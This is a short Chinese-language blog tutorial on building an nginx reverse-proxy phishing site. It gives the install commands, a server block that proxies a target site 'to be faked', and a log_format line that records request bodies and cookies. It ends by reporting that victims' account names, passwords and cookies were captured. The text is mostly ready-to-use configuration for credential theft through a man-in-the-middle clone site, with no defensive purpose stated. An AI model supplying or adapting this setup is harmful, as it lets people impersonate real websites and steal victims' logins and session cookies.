nginx反向代理钓鱼

前言

Nginx 反向代理确实用得很多，之前也写过如何配置反向代理，可参考《nginx 反向代理配置^[1]》

反向代理钓鱼原理

相当于所有流量会先到我们服务器上，然后再到目标服务器上，那么就可以当中间人获取所有的流量，当然也就包括各类凭证信息了。

搭建过程

环境

• ubuntu
• Nginx（sudo apt-get install nginx -y）

确认是否安装成功

nginx -v
# 下面这个可以看到配置文件的路径等，可以用于应急
nginx -V

启动 nginx

service nginx start

配置反代

反代配置文件

创建单独的反代配置文件

vim /etc/nginx/sites-enabled/reverse-proxy.conf

写入如下内容：

server
{
    listen 8081; # 监听端口
    server_name 1.2.3.4; # 本机真实IP
    location / {
        proxy_pass http://13.234.127.46:8001/; # 反代的网站，即想要伪造的网站
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    access_log /var/log/nginx/access_log_8081.log testLog; # 日志保存位置，testLog为自定义的日志格式
}

引用配置文件

编辑 /etc/nginx/nginx.conf，在 http{}中添加 2。句话，比如在

include /etc/nginx/mime.types;
default_type application/octet-stream;

两行下面添加 2 句：

log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
include /etc/nginx/sites-enabled/reverse-proxy.conf;

这样就可以把反向代理配置文件引用到，接着重启即可

service nginx restart

效果演示

原网站/要伪造的网站：

使用反向代理访问的效果，可见一模一样

在我们搭建的反代服务器中输入账号密码，可见成功记录了账号、密码和 Cookie 值

参考资料

- END -